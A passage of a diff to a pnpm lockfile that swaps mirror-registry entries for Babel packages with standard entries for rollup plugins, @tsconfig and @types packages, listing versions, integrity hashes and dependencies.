^1.20.0||^2.0.0 + peerDependenciesMeta: + '@types/babel__core': + optional: true + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-module-imports': 7.22.5 + '@rollup/pluginutils': 3.1.0(rollup@2.79.1) + rollup: 2.79.1 dev: true - registry.npmmirror.com/@ampproject/remapping/2.2.0: - resolution: {integrity: sha512-qRmjj8nj9qmLTQXXmaR1cck3UXSRMPrbsLJAasZpF+t3riI71BXed5ebIOYwQntykeZuhjsdweEc9BxH5Jc26w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@ampproject/remapping/-/remapping-2.2.0.tgz} - name: '@ampproject/remapping' - version: 2.2.0 - engines: {node: '>=6.0.0'} + /@rollup/plugin-node-resolve@11.2.1(rollup@2.79.1): + resolution: {integrity: sha512-yc2n43jcqVyGE2sqV5/YCmocy9ArjVAP/BeXyTtADTBBX6V0e5UMqwO8CdQ0kzjb6zu5P1qMzsScCMRvE9OlVg==} + engines: {node: '>= 10.0.0'} + peerDependencies: + rollup: ^1.20.0||^2.0.0 dependencies: - '@jridgewell/gen-mapping': registry.npmmirror.com/@jridgewell/gen-mapping/0.1.1 - '@jridgewell/trace-mapping': registry.npmmirror.com/@jridgewell/trace-mapping/0.3.17 + '@rollup/pluginutils': 3.1.0(rollup@2.79.1) + '@types/resolve': 1.17.1 + builtin-modules: 3.2.0 + deepmerge: 4.2.2 + is-module: 1.0.0 + resolve: 1.22.1 + rollup: 2.79.1 dev: true - registry.npmmirror.com/@apideck/better-ajv-errors/0.3.3_ajv@8.11.0: - resolution: {integrity: sha512-9o+HO2MbJhJHjDYZaDxJmSDckvDpiuItEsrIShV0DXeCshXWRHhqYyU/PKHMkuClOmFnZhRd6wzv4vpDu/dRKg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@apideck/better-ajv-errors/-/better-ajv-errors-0.3.3.tgz} - id: registry.npmmirror.com/@apideck/better-ajv-errors/0.3.3 - name: '@apideck/better-ajv-errors' - version: 0.3.3 - engines: {node: '>=10'} + /@rollup/plugin-replace@2.4.2(rollup@2.79.1): + resolution: {integrity: sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg==} peerDependencies: - ajv: '>=8' + rollup: ^1.20.0 || ^2.0.0 dependencies: - ajv: registry.npmmirror.com/ajv/8.11.0 - json-schema: registry.npmmirror.com/json-schema/0.4.0 - jsonpointer: registry.npmmirror.com/jsonpointer/5.0.0 - leven: registry.npmmirror.com/leven/3.1.0 + '@rollup/pluginutils': 3.1.0(rollup@2.79.1) + magic-string: 0.25.9 + rollup: 2.79.1 dev: true - registry.npmmirror.com/@babel/code-frame/7.16.7: - resolution: {integrity: sha512-iAXqUn8IIeBTNd72xsFlgaXHkMBMt6y4HJp1tIaK465CWLT/fG1aqB7ykr95gHHmlBdGbFeWWfyB4NJJ0nmeIg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/code-frame/-/code-frame-7.16.7.tgz} - name: '@babel/code-frame' - version: 7.16.7 - engines: {node: '>=6.9.0'} + /@rollup/pluginutils@3.1.0(rollup@2.79.1): + resolution: {integrity: sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==} + engines: {node: '>= 8.0.0'} + peerDependencies: + rollup: ^1.20.0||^2.0.0 dependencies: - '@babel/highlight': registry.npmmirror.com/@babel/highlight/7.17.9 + '@types/estree': 0.0.39 + estree-walker: 1.0.1 + picomatch: 2.3.1 + rollup: 2.79.1 dev: true - registry.npmmirror.com/@babel/compat-data/7.17.10: - resolution: {integrity: sha512-GZt/TCsG70Ms19gfZO1tM4CVnXsPgEPBCpJu+Qz3L0LUDsY5nZqFZglIoPC1kIYOtNBZlrnFT+klg12vFGZXrw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/compat-data/-/compat-data-7.17.10.tgz} - name: '@babel/compat-data' - version: 7.17.10 - engines: {node: '>=6.9.0'} + /@stackblitz/sdk@1.9.0: + resolution: {integrity: sha512-3m6C7f8pnR5KXys/Hqx2x6ylnpqOak6HtnZI6T5keEO0yT+E4Spkw37VEbdwuC+2oxmjdgq6YZEgiKX7hM1GmQ==} dev: true - registry.npmmirror.com/@babel/core/7.17.10: - resolution: {integrity: sha512-liKoppandF3ZcBnIYFjfSDHZLKdLHGJRkoWtG8zQyGJBQfIYobpnVGI5+pLBNtS6psFLDzyq8+h5HiVljW9PNA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/core/-/core-7.17.10.tgz} - name: '@babel/core' - version: 7.17.10 - engines: {node: '>=6.9.0'} + /@surma/rollup-plugin-off-main-thread@2.2.3: + resolution: {integrity: sha512-lR8q/9W7hZpMWweNiAKU7NQerBnzQQLvi8qnTDU/fxItPhtZVMbPV3lbCwjhIlNBe9Bbr5V+KHshvWmVSG9cxQ==} dependencies: - '@ampproject/remapping': registry.npmmirror.com/@ampproject/remapping/2.2.0 - '@babel/code-frame': registry.npmmirror.com/@babel/code-frame/7.16.7 - '@babel/generator': registry.npmmirror.com/@babel/generator/7.17.10 - '@babel/helper-compilation-targets': registry.npmmirror.com/@babel/helper-compilation-targets/7.17.10_@babel+core@7.17.10 - '@babel/helper-module-transforms': registry.npmmirror.com/@babel/helper-module-transforms/7.17.7 - '@babel/helpers': registry.npmmirror.com/@babel/helpers/7.17.9 - '@babel/parser': registry.npmmirror.com/@babel/parser/7.17.10 - '@babel/template': registry.npmmirror.com/@babel/template/7.16.7 - '@babel/traverse': registry.npmmirror.com/@babel/traverse/7.17.10 - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 - convert-source-map: registry.npmmirror.com/convert-source-map/1.8.0 - debug: registry.npmmirror.com/debug/4.3.4 - gensync: registry.npmmirror.com/gensync/1.0.0-beta.2 - json5: registry.npmmirror.com/json5/2.2.1 - semver: registry.npmmirror.com/semver/6.3.0 - transitivePeerDependencies: - - supports-color + ejs: 3.1.7 + json5: 2.2.3 + magic-string: 0.25.9 + string.prototype.matchall: 4.0.7 dev: true - registry.npmmirror.com/@babel/generator/7.17.10: - resolution: {integrity: sha512-46MJZZo9y3o4kmhBVc7zW7i8dtR1oIK/sdO5NcfcZRhTGYi+KKJRtHNgsU6c4VUcJmUNV/LQdebD/9Dlv4K+Tg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/generator/-/generator-7.17.10.tgz} - name: '@babel/generator' - version: 7.17.10 - engines: {node: '>=6.9.0'} - dependencies: - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 - '@jridgewell/gen-mapping': registry.npmmirror.com/@jridgewell/gen-mapping/0.1.1 - jsesc: registry.npmmirror.com/jsesc/2.5.2 + /@tsconfig/node10@1.0.9: + resolution: {integrity: sha512-jNsYVVxU8v5g43Erja32laIDHXeoNvFEpX33OK4d6hljo3jDhCBDhx5dhCCTMWUojscpAagGiRkBKxpdl9fxqA==} dev: true - registry.npmmirror.com/@babel/helper-annotate-as-pure/7.16.7: - resolution: {integrity: sha512-s6t2w/IPQVTAET1HitoowRGXooX8mCgtuP5195wD/QJPV6wYjpujCGF7JuMODVX2ZAJOf1GT6DT9MHEZvLOFSw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.16.7.tgz} - name: '@babel/helper-annotate-as-pure' - version: 7.16.7 - engines: {node: '>=6.9.0'} - dependencies: - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 + /@tsconfig/node12@1.0.11: + resolution: {integrity: sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag==} dev: true - registry.npmmirror.com/@babel/helper-builder-binary-assignment-operator-visitor/7.16.7: - resolution: {integrity: sha512-C6FdbRaxYjwVu/geKW4ZeQ0Q31AftgRcdSnZ5/jsH6BzCJbtvXvhpfkbkThYSuutZA7nCXpPR6AD9zd1dprMkA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.16.7.tgz} - name: '@babel/helper-builder-binary-assignment-operator-visitor' - version: 7.16.7 - engines: {node: '>=6.9.0'} - dependencies: - '@babel/helper-explode-assignable-expression': registry.npmmirror.com/@babel/helper-explode-assignable-expression/7.16.7 - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 + /@tsconfig/node14@1.0.3: + resolution: {integrity: sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow==} dev: true - registry.npmmirror.com/@babel/helper-compilation-targets/7.17.10_@babel+core@7.17.10: - resolution: {integrity: sha512-gh3RxjWbauw/dFiU/7whjd0qN9K6nPJMqe6+Er7rOavFh0CQUSwhAE3IcTho2rywPJFxej6TUUHDkWcYI6gGqQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.17.10.tgz} - id: registry.npmmirror.com/@babel/helper-compilation-targets/7.17.10 - name: '@babel/helper-compilation-targets' - version: 7.17.10 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 - dependencies: - '@babel/compat-data': registry.npmmirror.com/@babel/compat-data/7.17.10 - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-validator-option': registry.npmmirror.com/@babel/helper-validator-option/7.16.7 - browserslist: registry.npmmirror.com/browserslist/4.21.4 - semver: registry.npmmirror.com/semver/6.3.0 + /@tsconfig/node16@1.0.3: + resolution: {integrity: sha512-yOlFc+7UtL/89t2ZhjPvvB/DeAr3r+Dq58IgzsFkOAvVC6NMJXmCGjbptdXdR9qsX7pKcTL+s87FtYREi2dEEQ==} dev: true - registry.npmmirror.com/@babel/helper-create-class-features-plugin/7.17.9_@babel+core@7.17.10: - resolution: {integrity: sha512-kUjip3gruz6AJKOq5i3nC6CoCEEF/oHH3cp6tOZhB+IyyyPyW0g1Gfsxn3mkk6S08pIA2y8GQh609v9G/5sHVQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.17.9.tgz} - id: registry.npmmirror.com/@babel/helper-create-class-features-plugin/7.17.9 - name: '@babel/helper-create-class-features-plugin' - version: 7.17.9 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 + /@types/debug@4.1.7: + resolution: {integrity: sha512-9AonUzyTjXXhEOa0DnqpzZi6VHlqKMswga9EXjpXnnqxwLtdvPPtlO8evrI5D9S6asFRCQ6v+wpiUKbw+vKqyg==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-annotate-as-pure': registry.npmmirror.com/@babel/helper-annotate-as-pure/7.16.7 - '@babel/helper-environment-visitor': registry.npmmirror.com/@babel/helper-environment-visitor/7.16.7 - '@babel/helper-function-name': registry.npmmirror.com/@babel/helper-function-name/7.17.9 - '@babel/helper-member-expression-to-functions': registry.npmmirror.com/@babel/helper-member-expression-to-functions/7.17.7 - '@babel/helper-optimise-call-expression': registry.npmmirror.com/@babel/helper-optimise-call-expression/7.16.7 - '@babel/helper-replace-supers': registry.npmmirror.com/@babel/helper-replace-supers/7.16.7 - '@babel/helper-split-export-declaration': registry.npmmirror.com/@babel/helper-split-export-declaration/7.16.7 - transitivePeerDependencies: - - supports-color + '@types/ms': 0.7.31 dev: true - registry.npmmirror.com/@babel/helper-create-regexp-features-plugin/7.17.0_@babel+core@7.17.10: - resolution: {integrity: sha512-awO2So99wG6KnlE+TPs6rn83gCz5WlEePJDTnLEqbchMVrBeAujURVphRdigsk094VhvZehFoNOihSlcBjwsXA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.17.0.tgz} - id: registry.npmmirror.com/@babel/helper-create-regexp-features-plugin/7.17.0 - name: '@babel/helper-create-regexp-features-plugin' - version: 7.17.0 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 + /@types/debug@4.1.8: + resolution: {integrity: sha512-/vPO1EPOs306Cvhwv7KfVfYvOJqA/S/AXjaHQiJboCZzcNDb+TIJFN9/2C9DZ//ijSKWioNyUxD792QmDJ+HKQ==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-annotate-as-pure': registry.npmmirror.com/@babel/helper-annotate-as-pure/7.16.7 - regexpu-core: registry.npmmirror.com/regexpu-core/5.0.1 + '@types/ms': 0.7.31 dev: true - registry.npmmirror.com/@babel/helper-define-polyfill-provider/0.3.1_@babel+core@7.17.10: - resolution: {integrity: sha512-J9hGMpJQmtWmj46B3kBHmL38UhJGhYX7eqkcq+2gsstyYt341HmPeWspihX43yVRA0mS+8GGk2Gckc7bY/HCmA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.3.1.tgz} - id: registry.npmmirror.com/@babel/helper-define-polyfill-provider/0.3.1 - name: '@babel/helper-define-polyfill-provider' - version: 0.3.1 - peerDependencies: - '@babel/core': ^7.4.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-compilation-targets': registry.npmmirror.com/@babel/helper-compilation-targets/7.17.10_@babel+core@7.17.10 - '@babel/helper-module-imports': registry.npmmirror.com/@babel/helper-module-imports/7.16.7 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/traverse': registry.npmmirror.com/@babel/traverse/7.17.10 - debug: registry.npmmirror.com/debug/4.3.4 - lodash.debounce: registry.npmmirror.com/lodash.debounce/4.0.8 - resolve: registry.npmmirror.com/resolve/1.22.1 - semver: registry.npmmirror.com/semver/6.3.0 - transitivePeerDependencies: - - supports-color + /@types/estree@0.0.39: + resolution: {integrity: sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==} dev: true - registry.npmmirror.com/@babel/helper-environment-visitor/7.16.7: - resolution: {integrity: sha512-SLLb0AAn6PkUeAfKJCCOl9e1R53pQlGAfc4y4XuMRZfqeMYLE0dM1LMhqbGAlGQY0lfw5/ohoYWAe9V1yibRag==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-environment-visitor/-/helper-environment-visitor-7.16.7.tgz} - name: '@babel/helper-environment-visitor' - version: 7.16.7 - engines: {node: '>=6.9.0'} + /@types/fs-extra@11.0.1: + resolution: {integrity: sha512-MxObHvNl4A69ofaTRU8DFqvgzzv8s9yRtaPPm5gud9HDNvpB3GPQFvNuTWAI59B9huVGV5jXYJwbCsmBsOGYWA==} dependencies: - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 + '@types/jsonfile': 6.1.1 + '@types/node': 17.0.32 dev: true - registry.npmmirror.com/@babel/helper-explode-assignable-expression/7.16.7: - resolution: {integrity: sha512-KyUenhWMC8VrxzkGP0Jizjo4/Zx+1nNZhgocs+gLzyZyB8SHidhoq9KK/8Ato4anhwsivfkBLftky7gvzbZMtQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.16.7.tgz} - name: '@babel/helper-explode-assignable-expression' - version: 7.16.7 - engines: {node: '>=6.9.0'} - dependencies: - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 + /@types/hash-sum@1.0.0: + resolution: {integrity: sha512-FdLBT93h3kcZ586Aee66HPCVJ6qvxVjBlDWNmxSGSbCZe9hTsjRKdSsl4y1T+3zfujxo9auykQMnFsfyHWD7wg==} dev: true - registry.npmmirror.com/@babel/helper-function-name/7.17.9: - resolution: {integrity: sha512-7cRisGlVtiVqZ0MW0/yFB4atgpGLWEHUVYnb448hZK4x+vih0YO5UoS11XIYtZYqHd0dIPMdUSv8q5K4LdMnIg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-function-name/-/helper-function-name-7.17.9.tgz} - name: '@babel/helper-function-name' - version: 7.17.9 - engines: {node: '>=6.9.0'} - dependencies: - '@babel/template': registry.npmmirror.com/@babel/template/7.16.7 - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 + /@types/js-yaml@4.0.5: + resolution: {integrity: sha512-FhpRzf927MNQdRZP0J5DLIdTXhjLYzeUTmLAu69mnVksLH9CJY3IuSeEgbKUki7GQZm0WqDkGzyxju2EZGD2wA==} dev: true - registry.npmmirror.com/@babel/helper-hoist-variables/7.16.7: - resolution: {integrity: sha512-m04d/0Op34H5v7pbZw6pSKP7weA6lsMvfiIAMeIvkY/R4xQtBSMFEigu9QTZ2qB/9l22vsxtM8a+Q8CzD255fg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-hoist-variables/-/helper-hoist-variables-7.16.7.tgz} - name: '@babel/helper-hoist-variables' - version: 7.16.7 - engines: {node: '>=6.9.0'} + /@types/jsonfile@6.1.1: + resolution: {integrity: sha512-GSgiRCVeapDN+3pqA35IkQwasaCh/0YFH5dEF6S88iDvEn901DjOeH3/QPY+XYP1DFzDZPvIvfeEgk+7br5png==} dependencies: - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 + '@types/node': 17.0.32 dev: true - registry.npmmirror.com/@babel/helper-member-expression-to-functions/7.17.7: - resolution: {integrity: sha512-thxXgnQ8qQ11W2wVUObIqDL4p148VMxkt5T/qpN5k2fboRyzFGFmKsTGViquyM5QHKUy48OZoca8kw4ajaDPyw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.17.7.tgz} - name: '@babel/helper-member-expression-to-functions' - version: 7.17.7 - engines: {node: '>=6.9.0'} - dependencies: - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 + /@types/katex@0.16.0: + resolution: {integrity: sha512-hz+S3nV6Mym5xPbT9fnO8dDhBFQguMYpY0Ipxv06JMi1ORgnEM4M1ymWDUhUNer3ElLmT583opRo4RzxKmh9jw==} dev: true - registry.npmmirror.com/@babel/helper-module-imports/7.16.7: - resolution: {integrity: sha512-LVtS6TqjJHFc+nYeITRo6VLXve70xmq7wPhWTqDJusJEgGmkAACWwMiTNrvfoQo6hEhFwAIixNkvB0jPXDL8Wg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-module-imports/-/helper-module-imports-7.16.7.tgz} - name: '@babel/helper-module-imports' - version: 7.16.7 - engines: {node: '>=6.9.0'} - dependencies: - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 + /@types/linkify-it@3.0.2: + resolution: {integrity: sha512-HZQYqbiFVWufzCwexrvh694SOim8z2d+xJl5UNamcvQFejLY/2YUtzXHYi3cHdI7PMlS8ejH2slRAOJQ32aNbA==} dev: true - registry.npmmirror.com/@babel/helper-module-transforms/7.17.7: - resolution: {integrity: sha512-VmZD99F3gNTYB7fJRDTi+u6l/zxY0BE6OIxPSU7a50s6ZUQkHwSDmV92FfM+oCG0pZRVojGYhkR8I0OGeCVREw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-module-transforms/-/helper-module-transforms-7.17.7.tgz} - name: '@babel/helper-module-transforms' - version: 7.17.7 - engines: {node: '>=6.9.0'} + /@types/markdown-it-emoji@2.0.2: + resolution: {integrity: sha512-2ln8Wjbcj/0oRi/6VnuMeWEHHuK8uapFttvcLmDIe1GKCsFBLOLBX+D+xhDa9oWOQV0IpvxwrSfKKssAqqroog==} dependencies: - '@babel/helper-environment-visitor': registry.npmmirror.com/@babel/helper-environment-visitor/7.16.7 - '@babel/helper-module-imports': registry.npmmirror.com/@babel/helper-module-imports/7.16.7 - '@babel/helper-simple-access': registry.npmmirror.com/@babel/helper-simple-access/7.17.7 - '@babel/helper-split-export-declaration': registry.npmmirror.com/@babel/helper-split-export-declaration/7.16.7 - '@babel/helper-validator-identifier': registry.npmmirror.com/@babel/helper-validator-identifier/7.16.7 - '@babel/template': registry.npmmirror.com/@babel/template/7.16.7 - '@babel/traverse': registry.npmmirror.com/@babel/traverse/7.17.10 - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 - transitivePeerDependencies: - - supports-color + '@types/markdown-it': 12.2.3 dev: true - registry.npmmirror.com/@babel/helper-optimise-call-expression/7.16.7: - resolution: {integrity: sha512-EtgBhg7rd/JcnpZFXpBy0ze1YRfdm7BnBX4uKMBd3ixa3RGAE002JZB66FJyNH7g0F38U05pXmA5P8cBh7z+1w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.16.7.tgz} - name: '@babel/helper-optimise-call-expression' - version: 7.16.7 - engines: {node: '>=6.9.0'} + /@types/markdown-it@12.2.3: + resolution: {integrity: sha512-GKMHFfv3458yYy+v/N8gjufHO6MSZKCOXpZc5GXIWWy8uldwfmPn98vp81gZ5f9SVw8YYBctgfJ22a2d7AOMeQ==} dependencies: - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 + '@types/linkify-it': 3.0.2 + '@types/mdurl': 1.0.2 dev: true - registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7: - resolution: {integrity: sha512-Qg3Nk7ZxpgMrsox6HreY1ZNKdBq7K72tDSliA6dCl5f007jR4ne8iD5UzuNnCJH2xBf2BEEVGr+/OL6Gdp7RxA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.16.7.tgz} - name: '@babel/helper-plugin-utils' - version: 7.16.7 - engines: {node: '>=6.9.0'} + /@types/mdast@3.0.11: + resolution: {integrity: sha512-Y/uImid8aAwrEA24/1tcRZwpxX3pIFTSilcNDKSPn+Y2iDywSEachzRuvgAYYLR3wpGXAsMbv5lvKLDZLeYPAw==} + dependencies: + '@types/unist': 2.0.6 dev: true - registry.npmmirror.com/@babel/helper-remap-async-to-generator/7.16.8: - resolution: {integrity: sha512-fm0gH7Flb8H51LqJHy3HJ3wnE1+qtYR2A99K06ahwrawLdOFsCEWjZOrYricXJHoPSudNKxrMBUPEIPxiIIvBw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.16.8.tgz} - name: '@babel/helper-remap-async-to-generator' - version: 7.16.8 - engines: {node: '>=6.9.0'} - dependencies: - '@babel/helper-annotate-as-pure': registry.npmmirror.com/@babel/helper-annotate-as-pure/7.16.7 - '@babel/helper-wrap-function': registry.npmmirror.com/@babel/helper-wrap-function/7.16.8 - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 - transitivePeerDependencies: - - supports-color + /@types/mdurl@1.0.2: + resolution: {integrity: sha512-eC4U9MlIcu2q0KQmXszyn5Akca/0jrQmwDRgpAMJai7qBWq4amIQhZyNau4VYGtCeALvW1/NtjzJJ567aZxfKA==} dev: true - registry.npmmirror.com/@babel/helper-replace-supers/7.16.7: - resolution: {integrity: sha512-y9vsWilTNaVnVh6xiJfABzsNpgDPKev9HnAgz6Gb1p6UUwf9NepdlsV7VXGCftJM+jqD5f7JIEubcpLjZj5dBw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-replace-supers/-/helper-replace-supers-7.16.7.tgz} - name: '@babel/helper-replace-supers' - version: 7.16.7 - engines: {node: '>=6.9.0'} - dependencies: - '@babel/helper-environment-visitor': registry.npmmirror.com/@babel/helper-environment-visitor/7.16.7 - '@babel/helper-member-expression-to-functions': registry.npmmirror.com/@babel/helper-member-expression-to-functions/7.17.7 - '@babel/helper-optimise-call-expression': registry.npmmirror.com/@babel/helper-optimise-call-expression/7.16.7 - '@babel/traverse': registry.npmmirror.com/@babel/traverse/7.17.10 - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 - transitivePeerDependencies: - - supports-color + /@types/minimist@1.2.2: + resolution: {integrity: sha512-jhuKLIRrhvCPLqwPcx6INqmKeiA5EWrsCOPhrlFSrbrmU4ZMPjj5Ul/oLCMDO98XRUIwVm78xICz4EPCektzeQ==} dev: true - registry.npmmirror.com/@babel/helper-simple-access/7.17.7: - resolution: {integrity: sha512-txyMCGroZ96i+Pxr3Je3lzEJjqwaRC9buMUgtomcrLe5Nd0+fk1h0LLA+ixUF5OW7AhHuQ7Es1WcQJZmZsz2XA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-simple-access/-/helper-simple-access-7.17.7.tgz} - name: '@babel/helper-simple-access' - version: 7.17.7 - engines: {node: '>=6.9.0'} - dependencies: - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 + /@types/ms@0.7.31: + resolution: {integrity: sha512-iiUgKzV9AuaEkZqkOLDIvlQiL6ltuZd9tGcW3gwpnX8JbuiuhFlEGmmFXEXkN50Cvq7Os88IY2v0dkDqXYWVgA==} dev: true - registry.npmmirror.com/@babel/helper-skip-transparent-expression-wrappers/7.16.0: - resolution: {integrity: sha512-+il1gTy0oHwUsBQZyJvukbB4vPMdcYBrFHa0Uc4AizLxbq6BOYC51Rv4tWocX9BLBDLZ4kc6qUFpQ6HRgL+3zw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.16.0.tgz} - name: '@babel/helper-skip-transparent-expression-wrappers' - version: 7.16.0 - engines: {node: '>=6.9.0'} - dependencies: - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 + /@types/node@17.0.32: + resolution: {integrity: sha512-eAIcfAvhf/BkHcf4pkLJ7ECpBAhh9kcxRBpip9cTiO+hf+aJrsxYxBeS6OXvOd9WqNAJmavXVpZvY1rBjNsXmw==} dev: true - registry.npmmirror.com/@babel/helper-split-export-declaration/7.16.7: - resolution: {integrity: sha512-xbWoy/PFoxSWazIToT9Sif+jJTlrMcndIsaOKvTA6u7QEo7ilkRZpjew18/W3c7nm8fXdUDXh02VXTbZ0pGDNw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.16.7.tgz} - name: '@babel/helper-split-export-declaration' - version: 7.16.7 - engines: {node: '>=6.9.0'} - dependencies: - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 + /@types/normalize-package-data@2.4.1: + resolution: {integrity: sha512-Gj7cI7z+98M282Tqmp2K5EIsoouUEzbBJhQQzDE3jSIRk6r9gsz0oUokqIUR4u1R3dMHo0pDHM7sNOHyhulypw==} dev: true - registry.npmmirror.com/@babel/helper-validator-identifier/7.16.7: - resolution: {integrity: sha512-hsEnFemeiW4D08A5gUAZxLBTXpZ39P+a+DGDsHw1yxqyQ/jzFEnxf5uTEGp+3bzAbNOxU1paTgYS4ECU/IgfDw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.16.7.tgz} - name: '@babel/helper-validator-identifier' - version: 7.16.7 - engines: {node: '>=6.9.0'} + /@types/parse-json@4.0.0: + resolution: {integrity: sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==} dev: true - registry.npmmirror.com/@babel/helper-validator-option/7.16.7: - resolution: {integrity: sha512-TRtenOuRUVo9oIQGPC5G9DgK4743cdxvtOw0weQNpZXaS16SCBi5MNjZF8vba3ETURjZpTbVn7Vvcf2eAwFozQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-validator-option/-/helper-validator-option-7.16.7.tgz} - name: '@babel/helper-validator-option' - version: 7.16.7 - engines: {node: '>=6.9.0'} + /@types/raphael@2.3.3: + resolution: {integrity: sha512-Rhvq0q6wzyvipejki/9w87/pgapyE+s3gO66tdl1oD3qDrow+ek+4vVYAbRkeL58HCCK9EOZKwyjqYJ/TFkmtQ==} dev: true - registry.npmmirror.com/@babel/helper-wrap-function/7.16.8: - resolution: {integrity: sha512-8RpyRVIAW1RcDDGTA+GpPAwV22wXCfKOoM9bet6TLkGIFTkRQSkH1nMQ5Yet4MpoXe1ZwHPVtNasc2w0uZMqnw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helper-wrap-function/-/helper-wrap-function-7.16.8.tgz} - name: '@babel/helper-wrap-function' - version: 7.16.8 - engines: {node: '>=6.9.0'} + /@types/resolve@1.17.1: + resolution: {integrity: sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==} dependencies: - '@babel/helper-function-name': registry.npmmirror.com/@babel/helper-function-name/7.17.9 - '@babel/template': registry.npmmirror.com/@babel/template/7.16.7 - '@babel/traverse': registry.npmmirror.com/@babel/traverse/7.17.10 - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 - transitivePeerDependencies: - - supports-color + '@types/node': 17.0.32 dev: true - 